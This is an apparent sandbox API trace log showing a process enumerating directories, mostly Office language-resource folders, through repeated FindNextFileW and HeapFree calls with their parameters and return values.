	[0167.206] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0167.209] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.209] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0167.213] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.213] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0167.216] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.216] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1
	[0167.219] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.219] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0167.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.427] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0167.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.430] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0167.436] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.436] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0167.439] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.439] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0167.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.443] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
	[0167.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.446] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0167.450] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.450] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0167.453] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.453] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0167.458] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.458] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0167.458] FindClose (in: hFindFile=0x76ee28 | out: hFindFile=0x76ee28) returned 1
	[0167.458] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0167.458] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1
	[0167.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.468] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0167.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.549] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0167.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.749] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0168.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.369] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0168.377] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.377] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0168.383] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.383] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0168.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.388] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0168.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.407] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0168.439] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.439] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0168.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.444] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0168.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.449] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0168.618] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.618] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0168.650] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.650] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0168.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.671] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0168.676] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.676] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0168.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.680] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0168.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.686] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0168.693] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.693] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0168.698] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.698] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0168.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.703] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1
	[0168.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.708] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0168.906] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.906] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0168.913] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.913] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0168.917] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.917] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0168.922] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0168.922] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
